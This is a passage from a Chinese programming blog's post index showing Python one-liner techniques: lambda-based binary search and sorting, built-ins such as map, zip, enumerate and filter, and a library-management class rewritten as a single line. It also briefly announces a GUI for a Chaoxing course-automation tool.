len(numbers) - 1, numbers, value) 22 23 24numbers = [10, 15, 20, 27, 41, 69] 25print(binary_search(numbers, 69)) 26 27numbers = [13, 18, 54, 61, 78, 93] 28print(binary_search(numbers, 10)) 最后一步,将函数内外全部压缩为一行:\n1print( 2 *list( 3 ( 4 lambda numbers, value: ( 5 ( 6 my_while := lambda min_index, max_index, numbers, value: ( 7 -1 8 if min_index \u0026gt; max_index 9 else ( 10 (min_index + max_index) // 2 11 if numbers[(min_index + max_index) // 2] == value 12 else ( 13 my_while( 14 (min_index + max_index) // 2 + 1, 15 max_index, 16 numbers, 17 value, 18 ) 19 if numbers[(min_index + max_index) // 2] \u0026lt; value 20 else my_while( 21 min_index, 22 (min_index + max_index) // 2 - 1, 23 numbers, 24 value, 25 ) 26 ) 27 ) 28 ) 29 )(0, len(numbers) - 1, numbers, value) 30 ) 31 )(numbers, value) 32 for numbers, value in [ 33 ([10, 15, 20, 27, 41, 69], 69), 34 ([13, 18, 54, 61, 78, 93], 10), 35 ] 36 ), 37 sep=\u0026#34;\\n\u0026#34;, 38) 39 40# output: 41# 5 42# -1 我们不妨再尝试将等号去掉:\n1print( 2 *list( 3 ( 4 lambda numbers, value: ( 5 globals().update( 6 { 7 \u0026#34;binary_search\u0026#34;: lambda numbers, value: ( 8 ( 9 binary_search.__dict__.update( 10 { 11 \u0026#34;my_while\u0026#34;: lambda min_index, max_index, numbers, value: ( 12 -1 13 if min_index \u0026gt; max_index 14 else ( 15 (min_index + max_index) // 2 16 if numbers[ 17 (min_index + max_index) // 2 18 ].__eq__(value) 19 else ( 20 binary_search.my_while( 21 (min_index + max_index) // 2 22 + 1, 23 max_index, 24 numbers, 25 value, 26 ) 27 if numbers[ 28 (min_index + max_index) // 2 29 ] 30 \u0026lt; value 31 else binary_search.my_while( 32 min_index, 33 (min_index + max_index) // 2 34 - 1, 35 numbers, 36 value, 37 ) 38 ) 39 ) 40 ) 41 } 42 ) 43 ), 44 binary_search.my_while(0, len(numbers) - 1, numbers, value), 45 )[-1] 46 } 47 ), 48 binary_search(numbers, value), 49 )[-1] 50 )(numbers, value) 51 for numbers, value in [ 52 ([10, 15, 20, 27, 41, 69], 69), 53 ([13, 18, 54, 61, 78, 93], 10), 54 ] 55 ), 56 **{\u0026#34;sep\u0026#34;: \u0026#34;\\n\u0026#34;} 57) 58 59# output: 60# 5 61# -1 之所以在 binary_search() 函数内不使用 locals().update(),而是使用 binary_search.__dict__.update() 创建 my_while 函数,是因为 locals() 具有不可修改性,即在任何情况下, locals().update() 都是无效的。 在 my_while 函数中,使用 binary_search.my_while() 来调用函数是因为在使用 binary_search.__dict__.update() 创建 my_while 函数时,my_while 被定义为了 binary_search 这个函数对象的一个属性/方法。 ","link":"https://jackgdn.github.io/post/python%E4%B8%80%E5%8F%A5%E8%AF%9D%E4%BB%A3%E7%A0%81-pt-3/","section":"post","tags":["Python","沙箱逃逸"],"title":"Python 一句话代码技巧(三)"},{"body":"","link":"https://jackgdn.github.io/series/python-%E4%B8%80%E8%A1%8C%E4%BB%A3%E7%A0%81/","section":"series","tags":null,"title":"Python 一行代码"},{"body":"","link":"https://jackgdn.github.io/tags/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/","section":"tags","tags":null,"title":"沙箱逃逸"},{"body":"","link":"https://jackgdn.github.io/categories/%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/","section":"categories","tags":null,"title":"学习记录"},{"body":"过去一星期,我开发了一个名为 chaoxing-GUI 的项目,并将其上传至 Github。这个项目基于 Github 上的 Samueli924/chaoxing 项目开发。原项目的描述为“超星学习通自动化完成任务点(命令行版)”,而我在这个命令行程序基础上,使用 PySide6 模块为其添加了图形化的界面。目前程序的功能较为单一,我会在后续更新中,逐步合并原项目中程序提供的功能。\n项目的详细信息可见 README 文档。\n","link":"https://jackgdn.github.io/post/chaoxing-gui/","section":"post","tags":["Python"],"title":"超星学习通自动化完成任务点(GUI 版)项目介绍"},{"body":"使用 sum() 函数或 list.count() 方法统计数量 sum() 函数的常规用法是求一个可迭代对象里面各元素的和(如果可求和的话)。当然,如果我们对一个只有 1 和 0 的列表求和,那么就可以求出列表中 1 的数量。根据这个思路,我们可以先将待处理的列表转换为一个仅存储布尔值的列表,再对其求和,就可以统计出其中满足条件元素的数量。例如还是上一篇文章中的例子:\n1value = 7 2count = 0 3lst = [1, 1, 4, 5, 1, 4, 1, 9, 1, 9, 8, 10] 4for i in lst: 5 if i \u0026gt; value: 6 count += 1 7print(count) 8 9# output: 4 我们结合推导式创建一个新的列表,将满足条件的存储为 1,这样再求和。\n1print(sum(1 if i \u0026gt; 7 else 0 for i in [1, 1, 4, 5, 1, 4, 1, 9, 1, 9, 8, 10])) 2# 如果只有 if 语句,则将 if 语句放到 for 后。如果是 if-else 三元表达式,则将 if-else 前置。 3# 也可以写成 4print([1 for i in [1, 1, 4, 5, 1, 4, 1, 9, 1, 9, 8, 10] if i \u0026gt; 7].count(1)) 5# 或者 6print(len([1 for i in [1, 1, 4, 5, 1, 4, 1, 9, 1, 9, 8, 10] if i \u0026gt; 7])) 7 8# output: 4 map() 函数 map() 函数的定义为 map(func, *iterables) --\u0026gt; map boject,该函数将一个可变对象中的每一个元素传入函数中做操作,并将每一个返回值存储到一个 map 对象中,这个 map 对象可以被转换为一个新的可迭代对象,也可以将其作为参数传给其他接受迭代器的函数。\n下面这行代码示例可以将输入的内容转化为整形并存储到列表中\n1result = list(map(int, input().split(\u0026#39; \u0026#39;))) 再例如下面这个例子,统计字符串中不重复的英文字符:\n1print(set(map(str.upper, \u0026#34;Hello, World!\u0026#34;))) 2 3# output: {\u0026#39;L\u0026#39;, \u0026#39;O\u0026#39;, \u0026#39;!\u0026#39;, \u0026#39;E\u0026#39;, \u0026#39;R\u0026#39;, \u0026#39;D\u0026#39;, \u0026#39;H\u0026#39;, \u0026#39; \u0026#39;, \u0026#39;W\u0026#39;, \u0026#39;,\u0026#39;} 求平方数:\n1def suqare(n): 2\treturn n ** 2 3 4print(sorted(map(square, [4, 3, 2, 5]))) 5 6# output: [4, 9, 16, 25] zip() 函数 zip() 函数可以依次将多个可迭代对象合并到元组,并返回一个 zip 对象。zip 对象可以被转换为列表、字典、元组、集合。\n1print(list(zip([\u0026#39;a\u0026#39;, \u0026#39;b\u0026#39;, \u0026#39;c\u0026#39;], [1, 2, 3], [\u0026#39;A\u0026#39;, \u0026#39;B\u0026#39;, \u0026#39;C\u0026#39;]))) 2 3# output: [(\u0026#39;a\u0026#39;, 1, \u0026#39;A\u0026#39;), (\u0026#39;b\u0026#39;, 2, \u0026#39;B\u0026#39;), (\u0026#39;c\u0026#39;, 3, \u0026#39;C\u0026#39;)] 将数据打包成字典:\n1keys = [\u0026#39;name\u0026#39;, \u0026#39;age\u0026#39;] 2values = [\u0026#39;Jane Doe\u0026#39;, \u0026#39;18\u0026#39;] 3print(dict(zip(keys, values))) 4 5# output: {\u0026#39;name\u0026#39;: \u0026#39;Jane Doe\u0026#39;, \u0026#39;age\u0026#39;: \u0026#39;18\u0026#39;} 该函数还能够便捷求出矩阵的转置:\n1matrix = [ 2\t[1, 2, 3], 3\t[4, 5, 6], 4\t[7, 8, 9] 5] 6 7print(*map(list, zip(*matrix)), sep=\u0026#39;\\n\u0026#39;) 8 9\u0026#34;\u0026#34;\u0026#34; 10output: 11[1, 4, 7] 12[2, 5, 8] 13[3, 6, 9] 14\u0026#34;\u0026#34;\u0026#34; 使用 enumerate() 函数简化 for 循环 enumerate() 函数定义是 enumerate(iterable, start=0),该函数可以用更便捷的方法于创建迭代器,在某些情境下优于 range() 函数。例如说,一个经典的 for 循环写法如下:\n1codes = [\u0026#39;alpha\u0026#39;, \u0026#39;bravo\u0026#39;, \u0026#39;charlie\u0026#39;] 2i = 0 3for code in codes: 4\tprint(i, code) 5\ti += 1 6 7\u0026#34;\u0026#34;\u0026#34; 8output: 90 alpha 101 bravo 112 charlie 12\u0026#34;\u0026#34;\u0026#34; 使用 enumerate() 可以简化这段代码:\n1codes = [\u0026#39;alpha\u0026#39;, \u0026#39;bravo\u0026#39;, \u0026#39;charlie\u0026#39;] 2for i, code in enumerate(codes): 3\tprint(i, code) 4 5\u0026#34;\u0026#34;\u0026#34; 6output: 70 alpha 81 bravo 92 charlie 10\u0026#34;\u0026#34;\u0026#34; 或者直接简化成一行:\n1print(*[f\u0026#34;{i} {code}\u0026#34; for i, code in enumerate([\u0026#39;alpha\u0026#39;, \u0026#39;bravo\u0026#39;, \u0026#39;charlie\u0026#39;])], sep=\u0026#39;\\n\u0026#39;) 2 3\u0026#34;\u0026#34;\u0026#34; 4output: 50 alpha 61 bravo 72 charlie 8\u0026#34;\u0026#34;\u0026#34; 可以使用 enumerate() 函数创建带有序号的字典:\n1print(dict(enumerate([\u0026#34;Spring\u0026#34;, \u0026#34;Summer\u0026#34;, \u0026#34;Autumn\u0026#34;, \u0026#34;Winter\u0026#34;], start=1))) 2 3# output: {1: \u0026#39;Spring\u0026#39;, 2: \u0026#39;Summer\u0026#39;, 3: \u0026#39;Autumn\u0026#39;, 4: \u0026#39;Winter\u0026#39;} 或者配合 zip() 函数在循环中添加更多内容:\n1performers = [\u0026#34;Alice\u0026#34;, \u0026#34;Bob\u0026#34;, \u0026#34;Charles\u0026#34;, \u0026#34;Daniel\u0026#34;] 2performances = [\u0026#34;Singing\u0026#34;, \u0026#34;Dancing\u0026#34;, \u0026#34;Rapping\u0026#34;, \u0026#34;Basketball Showcase\u0026#34;] 3for i, (performer, performance) in enumerate(zip(performers, performances), start=1): 4\tprint(\u0026#34;Sequence: {:02} Performer: {} Performance: {}\u0026#34;.format(i, performer, performance)) 5 6\u0026#34;\u0026#34;\u0026#34; 7output: 8Sequence: 01 Performer: Alice Performance: Singing 9Sequence: 02 Performer: Bob Performance: Dancing 10Sequence: 03 Performer: Charles Performance: Rapping 11Sequence: 04 Performer: Daniel Performance: Basketball Showcase 12\u0026#34;\u0026#34;\u0026#34; next() 函数快速匹配内容 next() 函数的用法如下:\n1it = iter(range(1, 5)) 2while True: 3\tx = next(it, False) 4\tprint(x) 5\tif not x: 6\tbreak 7 8\u0026#34;\u0026#34;\u0026#34; 9output: 101 112 123 134 14False 15\u0026#34;\u0026#34;\u0026#34; 如果不给 next() 传入第二个参数,也可以使用 StopIteration 终止循环。\n1it = iter(range(1, 5)) 2while True: 3\ttry: 4\tx = next(it) 5\tprint(x) 6\texcept StopIteration: 7\tbreak 8 9\u0026#34;\u0026#34;\u0026#34; 10output: 111 122 133 144 15\u0026#34;\u0026#34;\u0026#34; 例如说,我们想要在下面的列表中找到第一个符合要求的内容,就可以用 next() 函数。\n1names = [\u0026#34;Alice\u0026#34;, \u0026#34;Bob\u0026#34;, \u0026#34;Charles\u0026#34;] 2scores = [80, 90, 100] 3data = zip(names, scores) 4print(next((i for i in data if i[1] == 100), None)) 5 6# output: (\u0026#39;Charles\u0026#39;, 100) 如果在可迭代对象中有多个元素符合条件,则 next() 函数会找出第一个符合条件的元素。\n1names = [\u0026#34;Alice\u0026#34;, \u0026#34;Bob\u0026#34;, \u0026#34;Charles\u0026#34;] 2scores = [80, 90, 100] 3data = zip(names, scores) 4print(next((i for i in data if i[1] \u0026gt; 80), None)) 5print(next((i for i in data if i[1] \u0026gt; 80), None)) 6print(next((i for i in data if i[1] \u0026gt; 80), None)) 7print(next((i for i in data if i[1] \u0026gt; 80), None)) 8 9\u0026#34;\u0026#34;\u0026#34; 10output: 11(\u0026#39;Bob\u0026#39;, 90) 12(\u0026#39;Charles\u0026#39;, 100) 13None 14None 15\u0026#34;\u0026#34;\u0026#34; 不难发现,next() 函数每次输出的内容都是建立在上一个 next() 函数执行结果之后的,也就是说每次 next() 是对同一个可迭代对象操作。如果像每次都输出相同内容,可以将 zip 对象转化为列表:\n1names = [\u0026#34;Alice\u0026#34;, \u0026#34;Bob\u0026#34;, \u0026#34;Charles\u0026#34;] 2scores = [80, 90, 100] 3data = list(zip(names, scores)) 4print(next((i for i in data if i[1] \u0026gt; 80), None)) 5print(next((i for i in data if i[1] \u0026gt; 80), None)) 6 7# output: 8# (\u0026#39;Bob\u0026#39;, 90) 9# (\u0026#39;Bob\u0026#39;, 90) 或者使用一个生成可迭代对象的函数:\n1def my_generator(): 2\tnames = [\u0026#34;Alice\u0026#34;, \u0026#34;Bob\u0026#34;, \u0026#34;Charles\u0026#34;] 3\tscores = [80, 90, 100] 4\tdata = zip(names, scores) 5\tfor i in data: 6\tif i[1] \u0026gt; 80: 7\tyield i 8 9print(next(my_generator(), None)) 10print(next(my_generator(), None)) 11 12# output: 13# (\u0026#39;Bob\u0026#39;, 90) 14# (\u0026#39;Bob\u0026#39;, 90) next() 的执行效率高于循环,在日常编程中该函数也是不二之选。\nfilter() 快速筛选 上面 next() 函数一次只能返回一个元素,而 filter() 函数会一次性返回所有符合条件的元素\n1def f(x): 2\treturn x \u0026gt; 7 3 4print(tuple(filter(f, [1, 1, 4, 5, 1, 4, 1, 9, 1, 9, 8, 10]))) 5 6# output: (9, 9, 8, 10) 1def f(x): 2\treturn x[1] \u0026gt; 80 3 4names = [\u0026#34;Alice\u0026#34;, \u0026#34;Bob\u0026#34;, \u0026#34;Charles\u0026#34;] 5scores = [80, 90, 100] 6data = dict(zip(names, scores)) 7print(list(filter(f, data.items()))) 8 9# output: [(\u0026#39;Bob\u0026#39;, 90), (\u0026#39;Charles\u0026#39;, 100)] any() 与 all() 这两个函数接收可迭代对象作为参数,如果可迭代对象中有任意一个元素的布尔值为 True,则 any() 函数返回 True;如果可迭代对象中每一个元素的布尔值都为 True,则 all() 函数返回 True。\n1print(any([\u0026#34;\u0026#34;, [], (), None])) # 这些对象的布尔值都是 False 2print(any([\u0026#34;Hello\u0026#34;, [1, 1, 4, 5, 1, 4], False])) 3 4# output: 5# False 6# True 1print(all([{True, False}, True])) 2print(all([\u0026#39;A\u0026#39;, False])) 3 4# output: 5# True 6# False ","link":"https://jackgdn.github.io/post/python%E4%B8%80%E5%8F%A5%E8%AF%9D%E4%BB%A3%E7%A0%81-pt-2/","section":"post","tags":["Python"],"title":"Python 一句话代码技巧(二)"},{"body":"我还在学习 CTF 时,我接触到了一些 Python 的有趣特性,例如使用 NFKC 进行沙箱逃逸以及 Python 存储对象时的一些机制。最近我对 Python 的“一句话代码”产生了兴趣,具体来说就是使用一些特别的 Python 编程技巧以及语法糖将大段代码压缩到一行或少数几行中,用几行短短的代码(但是每一行都会很长)实现一个完整的功能。例如说下面这三行代码分别时冒泡排序、选择排序和插入排序算法的“一句话代码”形式。\n1print((bubble_sort := lambda lst: ([(tmp := lst.__getitem__(i), lst.__setitem__(i, lst.__getitem__(j)), lst.__setitem__(j, tmp), None)[-1] for i in range(len(lst) - 1) for j in range(i, len(lst)) if lst[j] \u0026lt; lst[i]] + lst)[-len(lst):])([int(i) for i in input().split()])) 2# 冒泡排序 3 4print((selection_sort := lambda lst: ([(index := i, j := i + 1, index := (my_while := lambda index, lst, j: my_while(index := j if lst[j] \u0026lt; lst[index] else index, lst, j := j + 1) if j \u0026lt; len(lst) else index)(index, lst, j), tmp := lst.__getitem__(i), lst.__setitem__(i, lst.__getitem__(index)), lst.__setitem__(index, tmp), None) for i in range(len(lst) - 1)] + lst)[-len(lst):])([int(i) for i in input().split()])) 5# 选择排序 6 7print((insertion_sort := lambda lst: ([(key := lst.__getitem__(i), j := i - 1, j := (my_while := lambda j, key, lst: (lst.__setitem__(j + 1, lst.__getitem__(j)), j := j - 1, my_while(j, key, lst))[-1] if j \u0026gt;= 0 and lst[j] \u0026gt; key else j)(j, key, lst), lst.__setitem__(j + 1, key), None)[-1] for i in range(1, len(lst))] + lst)[-len(lst):])([int(i) for i in input().split()])) 8# 插入排序 下面这一段代码是我曾经的一次 OOP 编程作业,正常写出来的代码是这样的(以前知识储备不够,现在看上去这段代码有很多可以优化的部分):\n1class Book: 2 3 def __init__(self, code, title, status=True): 4 self.__code = code 5 self.__title = title 6 self.__status = status 7 8 def get_book_code(self): 9 return self.__code 10 11 def get_book_title(self): 12 return self.__title 13 14 def is_available(self): 15 return self.__status 16 17 def borrow_book(self): 18 self.__status = False 19 20 def return_book(self): 21 self.__status = True 22 23 def __str__(self): 24 return f\u0026#34;{self.__title}, {self.__code} ({[\u0026#39;Available\u0026#39; if self.is_available() else \u0026#39;On Loan\u0026#39;][0]})\u0026#34; 25 26 27class Member: 28 29 def __init__(self, member_id, name, on_loan_books_list=None): 30 self.__member_id = member_id 31 self.__name = name 32 if on_loan_books_list is None: 33 self.__on_loan_books_list = list() 34 else: 35 self.__on_loan_books_list = on_loan_books_list 36 37 def get_name(self): 38 return self.__name 39 40 def get_member_id(self): 41 return self.__member_id 42 43 def get_on_loan_books(self): 44 return self.__on_loan_books_list 45 46 def borrow_book(self, book): 47 self.__on_loan_books_list.append(book.get_book_title()) 48 book.borrow_book() 49 50 def return_book(self, book): 51 self.__on_loan_books_list.remove(book.get_book_title()) 52 book.return_book() 53 54 def __str__(self): 55 return \u0026#34;{}\\nOn loan book(s):\\n{}\u0026#34;.format( 56 self.__name, 57 [ 58 ( 59 \u0026#34;\\n\u0026#34;.join(self.__on_loan_books_list) 60 if len(self.__on_loan_books_list) \u0026gt; 0 61 else \u0026#34;-\u0026#34; 62 ) 63 ][0], 64 ) 65 66 67class Record: 68 69 def __init__(self, book, member, issue_date, is_on_loan=True): 70 self.__book = book 71 self.__member = member 72 self.__issue_date = issue_date 73 self.__is_on_loan = is_on_loan 74 self.__member.borrow_book(self.__book) 75 76 def get_member_id(self): 77 return self.__member.get_member_id() 78 79 def get_book_code(self): 80 return self.__book.get_book_code() 81 82 def get_issue_date(self): 83 return self.__issue_date 84 85 def is_on_loan(self): 86 return self.__is_on_loan 87 88 def return_book(self): 89 self.__member.return_book(self.__book) 90 self.__is_on_loan = False 91 92 def __str__(self): 93 member_name = self.__member.get_name() 94 book_title = self.__book.get_book_title() 95 book_code = self.__book.get_book_code() 96 book_status = [\u0026#34;Available\u0026#34; if self.__book.is_available() else \u0026#34;On Loan\u0026#34;][0] 97 issue_date = self.get_issue_date() 98 return f\u0026#34;{member_name}, {book_title}, {book_code} ({book_status}), issued date={issue_date}\u0026#34; 99 100 def get_member_name(self): 101 return self.__member.get_name() 102 103 def get_book_title(self): 104 return self.__book.get_book_title() 105 106 107class MyLibrary: 108 109 def __init__(self, books_list_file_path, on_loan_records_list=None): 110 try: 111 with open(books_list_file_path, \u0026#34;r\u0026#34;) as books_list_file: 112 self.__books_list = books_list_file.readlines() 113 except FileNotFoundError: 114 print(f\u0026#34;ERROR: The file \u0026#39;{books_list_file_path}\u0026#39; does not exist.\u0026#34;) 115 exit(-1) 116 117 self.__books_list_with_class = list() 118 for book_string in self.__books_list: 119 book_code = book_string.split(\u0026#34;,\u0026#34;)[0] 120 book_title = book_string.split(\u0026#34;,\u0026#34;)[1] 121 self.__books_list_with_class.append( 122 Book(book_code, \u0026#34;\u0026#34;.join(book_title.split(\u0026#34;\\n\u0026#34;))) 123 ) 124 print(f\u0026#34;{len(self.__books_list_with_class)} books loaded.\u0026#34;) 125 126 if on_loan_records_list is None: 127 self.__on_loan_records_list = list() 128 else: 129 self.__on_loan_records_list = on_loan_records_list 130 131 self.__all_records_list = list() 132 133 def show_all_books(self): 134 books_information = [] 135 for book in self.__books_list_with_class: 136 book_title = book.get_book_title() 137 book_code = book.get_book_code() 138 book_status = [\u0026#34;Available\u0026#34; if book.is_available() else \u0026#34;On Loan\u0026#34;][0] 139 books_information.append(f\u0026#34;{book_title}, {book_code} ({book_status})\u0026#34;) 140 print(\u0026#34;\\n\u0026#34;.join(books_information)) 141 142 def find_book(self, code): 143 find = False 144 for book in self.__books_list_with_class: 145 if code == book.get_book_code(): 146 find = True 147 if book.is_available(): 148 return book 149 else: 150 return None 151 if not find: 152 return None 153 154 def borrow_book(self, book: Book, member: Member, issue_date): 155 if book is None: 156 print(\u0026#34;ERROR: could not issue the book.\u0026#34;) 157 elif book.is_available(): 158 self.__all_records_list.append(Record(book, member, issue_date)) 159 self.__on_loan_records_list.append(self.__all_records_list[-1]) 160 book_title = book.get_book_title() 161 member_name = member.get_name() 162 print(f\u0026#34;{book_title} is borrowed by {member_name}.\u0026#34;) 163 164 def show_available_books(self): 165 for book in self.__books_list_with_class: 166 if book.get_book_code() not in [ 167 record.get_book_code() for record in self.__on_loan_records_list 168 ]: 169 print(book) 170 171 def find_record(self, code): 172 for record in self.__on_loan_records_list: 173 if record.get_book_code() == code and record.is_on_loan(): 174 return record 175 return None 176 177 def return_book(self, record: Record): 178 if record is None: 179 print(\u0026#34;ERROR: could not return the book.\u0026#34;) 180 elif record.is_on_loan(): 181 record_index = self.__all_records_list.index(record) 182 self.__all_records_list[record_index].return_book() 183 self.__all_records_list[record_index] = record 184 self.__on_loan_records_list.remove(record) 185 print(f\u0026#34;{record.get_book_code()} is returned successfully.\u0026#34;) 186 187 def show_on_loan_records(self): 188 for record in self.__on_loan_records_list: 189 member_name = record.get_member_name() 190 book_title = record.get_book_title() 191 book_code = record.get_book_code() 192 book_issue_date = record.get_issue_date() 193 print( 194 f\u0026#34;{member_name}, {book_title}, {book_code} (On Loan), issued date={book_issue_date}\u0026#34; 195 ) 196 197 def show_all_records(self): 198 for record in self.__all_records_list: 199 member_name = record.get_member_name() 200 book_title = record.get_book_title() 201 book_code = record.get_book_code() 202 book_issue_date = record.get_issue_date() 203 book_status = [\u0026#34;On Loan\u0026#34; if record.is_on_loan() else \u0026#34;Available\u0026#34;][0] 204 print( 205 f\u0026#34;{member_name}, {book_title}, {book_code} ({book_status}), issued date={book_issue_date}\u0026#34; 206 ) 这段代码实现了一个简易的图书管理系统,有增删改查的功能。下面是把这段代码以及测试样例压缩到一行的样子:\n1(lambda Book, Member, Record, MyLibrary: (library := MyLibrary(\u0026#34;simple_books.txt\u0026#34;), m1 := Member(1001, \u0026#34;Michael\u0026#34;), library.borrow_book(library.find_book(\u0026#34;QS12.02.003\u0026#34;), m1, \u0026#34;2020-08-12\u0026#34;), library.borrow_book(library.find_book(\u0026#34;QK12.04.002\u0026#34;), m1, \u0026#34;2020-08-15\u0026#34;), library.show_on_loan_records(), ))(Book := type(\u0026#34;Book\u0026#34;, (), {\u0026#34;__init__\u0026#34;: lambda self, code, title, status=True: (setattr(self, \u0026#34;_Book__code\u0026#34;, code), setattr(self, \u0026#34;_Book__title\u0026#34;, title), setattr(self, \u0026#34;_Book__status\u0026#34;, status), None, )[-1], \u0026#34;get_book_code\u0026#34;: lambda self: getattr(self, \u0026#34;_Book__code\u0026#34;), \u0026#34;get_book_title\u0026#34;: lambda self: getattr(self, \u0026#34;_Book__title\u0026#34;), \u0026#34;is_available\u0026#34;: lambda self: getattr(self, \u0026#34;_Book__status\u0026#34;), \u0026#34;borrow_book\u0026#34;: lambda self: (setattr(self, \u0026#34;_Book__status\u0026#34;, False), None)[-1], \u0026#34;return_book\u0026#34;: lambda self: (setattr(self, \u0026#34;_Book__status\u0026#34;, True), None)[-1], \u0026#34;__str__\u0026#34;: lambda self: \u0026#34;{}, {} ({})\u0026#34;.format(self.get_book_title(), self.get_book_code(), \u0026#34;Available\u0026#34; if self.is_available() else \u0026#34;On Loan\u0026#34;, ), }, ), type(\u0026#34;Member\u0026#34;, (), {\u0026#34;__init__\u0026#34;: lambda self, member_id, name, on_loan_books_list=None: (setattr(self, \u0026#34;_Member__member_id\u0026#34;, member_id), setattr(self, \u0026#34;_Member__name\u0026#34;, name), setattr(self, \u0026#34;_Member__on_loan_books_list\u0026#34;, on_loan_books_list if on_loan_books_list else list(), ), None, )[-1], \u0026#34;get_name\u0026#34;: lambda self: getattr(self, \u0026#34;_Member__name\u0026#34;), \u0026#34;get_member_id\u0026#34;: lambda self: getattr(self, \u0026#34;_Member__member_id\u0026#34;), \u0026#34;get_on_loan_books\u0026#34;: lambda self: getattr(self, \u0026#34;_Member__on_loan_books_list\u0026#34;), \u0026#34;borrow_book\u0026#34;: lambda self, book: (self._Member__on_loan_books_list.append(book.get_book_title()), book.borrow_book(), None, )[-1], \u0026#34;return_book\u0026#34;: lambda self, book: (self._Member__on_loan_books_list.remove(book.get_book_title()), book.return_book(), None, )[-1], \u0026#34;__str__\u0026#34;: lambda self: \u0026#34;{}\\nOn loan book(s):\\n{}\u0026#34;.format(self.get_name(), (\u0026#34;\\n\u0026#34;.join(self.get_on_loan_books()) if len(self.get_on_loan_books()) \u0026gt; 0 else \u0026#34;-\u0026#34;), ), }, ), Record := type(\u0026#34;Record\u0026#34;, (), {\u0026#34;__init__\u0026#34;: lambda self, book, member, issue_date, is_on_loan=True: (setattr(self, \u0026#34;_Record__book\u0026#34;, book), setattr(self, \u0026#34;_Record__member\u0026#34;, member), setattr(self, \u0026#34;_Record__issue_date\u0026#34;, issue_date), setattr(self, \u0026#34;_Record__is_on_loan\u0026#34;, is_on_loan), self._Record__member.borrow_book(self._Record__book), None, )[-1], \u0026#34;get_member_id\u0026#34;: lambda self: self._Record__member.get_member_id(), \u0026#34;get_book_code\u0026#34;: lambda self: self._Record__book.get_book_code(), \u0026#34;get_issue_date\u0026#34;: lambda self: getattr(self, \u0026#34;_Record__issue_date\u0026#34;), \u0026#34;is_on_loan\u0026#34;: lambda self: getattr(self, \u0026#34;_Record__is_on_loan\u0026#34;), \u0026#34;return_book\u0026#34;: lambda self: (self._Record__member.return_book(self._Record__book), None, )[-1], \u0026#34;get_member_name\u0026#34;: lambda self: self._Record__member.get_name(), \u0026#34;get_book_title\u0026#34;: lambda self: self._Record__book.get_book_title(), \u0026#34;__str__\u0026#34;: lambda self: \u0026#34;{}, {}, {} ({}), issued date={}\u0026#34;.format(self._Record__member.get_name(), self._Record__book.get_book_title(), self._Record__book.get_book_code(), \u0026#34;Available\u0026#34; if self._Record__book.is_available() else \u0026#34;On Loan\u0026#34;, self.get_issue_date(), ), }, ), type(\u0026#34;MyLibrary\u0026#34;, (), {\u0026#34;__init__\u0026#34;: lambda self, books_list_file_path, on_loan_records_list=None: ((setattr(self, \u0026#34;_MyLibrary__books_list\u0026#34;, open(books_list_file_path, \u0026#34;r\u0026#34;).read().splitlines(), ) if __import__(\u0026#34;os\u0026#34;).path.exists(books_list_file_path) else (print(f\u0026#34;ERROR: The file \u0026#39;{books_list_file_path}\u0026#39; does not exist.\u0026#34;), __import__(\u0026#34;sys\u0026#34;).exit(-1), )), setattr(self, \u0026#34;_MyLibrary__books_list_with_class\u0026#34;, [Book(*book.split(\u0026#34;,\u0026#34;)) for book in self._MyLibrary__books_list], ), print(f\u0026#34;{len(self._MyLibrary__books_list_with_class)} books loaded.\u0026#34;), setattr(self, \u0026#34;_MyLibrary__on_loan_records_list\u0026#34;, on_loan_records_list if on_loan_records_list else list(), ), None, )[-1], \u0026#34;show_all_books\u0026#34;: lambda self: (print(\u0026#34;\\n\u0026#34;.join(\u0026#34;{}, {} ({})\u0026#34;.format(book.get_book_title(), book.get_book_code(), \u0026#34;Available\u0026#34; if book.is_available() else \u0026#34;On Loan\u0026#34;, ) for book in self._MyLibrary__books_list_with_class)), None, )[-1], \u0026#34;find_book\u0026#34;: lambda self, code: next((book for book in self._MyLibrary__books_list_with_class if code == book.get_book_code() and book.is_available()), (None if any(code == book.get_book_code() for book in self._MyLibrary__books_list_with_class) else None), ), \u0026#34;borrow_book\u0026#34;: lambda self, book, member, issue_date: ((print(\u0026#34;ERROR: could not issue the book.\u0026#34;) if book is None else ((self._MyLibrary__on_loan_records_list.append(Record(book, member, issue_date)), print(f\u0026#34;{book.get_book_title()} is borrowed by {member.get_name()}\u0026#34;), ) if book.is_available() else None)), None, )[-1], \u0026#34;show_available_books\u0026#34;: lambda self: ((list(map(lambda book: print(book), filter(lambda book: book.get_book_code() not in [record.get_book_code() for record in self._MyLibrary__on_loan_records_list], self._MyLibrary__books_list_with_class, ), ))), None, )[-1], \u0026#34;find_record\u0026#34;: lambda self, code: next((record for record in self._MyLibrary__on_loan_records_list if record.get_book_code() == code and record.is_on_loan()), None, ), \u0026#34;return_book\u0026#34;: lambda self, record: (((print(\u0026#34;ERROR: could not return the book.\u0026#34;) if record is None else None) if not record.is_on_loan() else (record.return_book(), self._MyLibrary__on_loan_records_list.remove(record), print(f\u0026#34;{record.get_book_code()} is returned successfully.\u0026#34;), )), None, )[-1], \u0026#34;show_on_loan_records\u0026#34;: lambda self: (list(map(lambda record: print(\u0026#34;{}, {}, {} (On Loan), issued date={}\u0026#34;.format(record.get_member_name(), record.get_book_title(), record.get_book_code(), record.get_issue_date(), ), ), self._MyLibrary__on_loan_records_list, )), None, )[-1], }, ), ) 这行代码一共有 5526 个字符,下面是把它格式化后的样子:\n1( 2 lambda Book, Member, Record, MyLibrary: ( 3 library := MyLibrary(\u0026#34;simple_books.txt\u0026#34;), 4 m1 := Member(1001, \u0026#34;Michael\u0026#34;), 5 library.borrow_book(library.find_book(\u0026#34;QS12.02.003\u0026#34;), m1, \u0026#34;2020-08-12\u0026#34;), 6 library.borrow_book(library.find_book(\u0026#34;QK12.04.002\u0026#34;), m1, \u0026#34;2020-08-15\u0026#34;), 7 library.show_on_loan_records(), 8 ) 9)( 10 Book := type( 11 \u0026#34;Book\u0026#34;, 12 (), 13 { 14 \u0026#34;__init__\u0026#34;: lambda self, code, title, status=True: ( 15 setattr(self, \u0026#34;_Book__code\u0026#34;, code), 16 setattr(self, \u0026#34;_Book__title\u0026#34;, title), 17 setattr(self, \u0026#34;_Book__status\u0026#34;, status), 18 None, 19 )[-1], 20 \u0026#34;get_book_code\u0026#34;: lambda self: getattr(self, \u0026#34;_Book__code\u0026#34;), 21 \u0026#34;get_book_title\u0026#34;: lambda self: getattr(self, \u0026#34;_Book__title\u0026#34;), 22 